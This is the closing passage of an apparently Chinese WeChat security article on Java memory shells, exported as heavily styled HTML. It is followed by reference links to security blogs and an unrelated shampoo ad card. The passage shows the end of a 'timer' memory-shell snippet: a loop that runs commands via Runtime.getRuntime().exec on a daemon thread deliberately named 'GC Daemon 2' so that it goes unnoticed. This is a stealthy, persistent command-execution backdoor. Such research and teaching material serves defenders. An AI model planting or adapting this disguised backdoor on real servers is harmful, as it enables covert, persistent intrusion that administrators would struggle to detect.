Char&#39;;mso-style-name: &#39;DecValTok&#39;;color: #40A070;font-family: Consolas;">0</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)))</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                            </span>set</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">add</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">list</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">get</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DecValTok&#39;;color: #40A070;font-family: Consolas;">0</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">));</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                            </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">try</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                                </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Runtime</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getRuntime</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">().</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">exec</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">list</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">get</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DecValTok&#39;;color: #40A070;font-family: Consolas;">1</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">).</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">toString</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">());</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                            </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">catch</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Exception</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> e</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                                </span>e</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">printStackTrace</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">();</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                            </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                        </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                    </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                    </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">// while true + sleep ，相当于 Timer 定时任务</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                    </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Thread</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">sleep</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DecValTok&#39;;color: #40A070;font-family: Consolas;">100</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">catch</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Exception</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> ignored</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">            </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">}</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">        </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">// 给线程起名叫 GC Daemon 2，没人会注意吧~</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">},</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;GC Daemon 2&#34;</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DecValTok&#39;;color: #40A070;font-family: Consolas;">0</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;CommentTok&#39;;color: #60A0B0;font-style: italic;font-family: Consolas;">// 设为守护线程</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span>d</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">setDaemon</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">true</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">    </span>d</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">start</span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">();</span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:timer内存马2014）;"><span style="font-family:Cambria;">              </span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:参考引用;"><span style="font-family:宋体;">参考引用</span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:参考引用;"><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;"><a href="https://www.yuque.com/tianxiadamutou" target="_blank">https://www.yuque.com/tianxiadamutou</a></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:参考引用;"><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;"><a href="https://pdai.tech/" target="_blank">https://pdai.tech/</a></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:参考引用;"><span style="font-family:Cambria;">代码审计知识星球</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:参考引用;"><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;"><a href="https://xz.aliyun.com/t/11593" target="_blank">https://xz.aliyun.com/t/11593</a></span></span></span></p><p style="margin-top: 9pt;margin-bottom: 9pt;text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:参考引用;"><span style="font-size:12.0pt;font-family:Cambria;text-underline:none;text-decoration:none;"><a href="https://su18.org/post/memory-shell-2/" target="_blank">https://su18.org/post/memory-shell-2/</a></span></span></span></p><p><mpcps class="js_editor_new_cps" data-templateid="card" data-traceid="e1219075-81f8-4cc7-a2a3-0dad615ece10" data-goodssouce="1" data-pid="100_312729703450" data-appuin="3529291389" data-buffer="{&#34;category_id&#34;:136,&#34;pid&#34;:&#34;100_312729703450&#34;,&#34;biz_uin&#34;:&#34;3529291389&#34;,&#34;trace_id&#34;:&#34;e1219075-81f8-4cc7-a2a3-0dad615ece10&#34;,&#34;sku_id&#34;:&#34;100_312729703450&#34;,&#34;source_id&#34;:3,&#34;source_name&#34;:&#34;拼多多&#34;,&#34;audit_state&#34;:1,&#34;main_img&#34;:&#34;https://pcm-img.zhls.qq.com/productcenter-de2a8909--1018825-3878978154223397622/05606261913082022/afe9777b9b62708ee3d48220bc156a49.jpg&#34;,&#34;product_name&#34;:&#34;朴教授澳威雅育发洗发露控油强发根洗发液国药老牌生发正品防脱发&#34;,&#34;current_price&#34;:3080,&#34;first_category_id&#34;:&#34;136&#34;,&#34;discount&#34;:&#34;2800&#34;,&#34;product_label_name_list&#34;:[&#34;包邮&#34;],&#34;select_tag_name_list&#34;:[],&#34;templateId&#34;:&#34;card&#34;,&#34;appuin&#34;:&#34;3529291389&#34;,&#34;isNewCpsKOL&#34;:1}"></mpcps></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3274ceae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKDQyJQDHx4YxEqbGgLmptRCEflkvFcKWcPmHHNO78QSxGtIWkK85Zwg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=20d58ff6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKaLicGUdAEXSsHAvLMywjsjKTwibwibxfwfPwnPPxvHibT9ExFJuKvBOxicA%2F640%3Fwx_fmt%3Dpng"/></p>
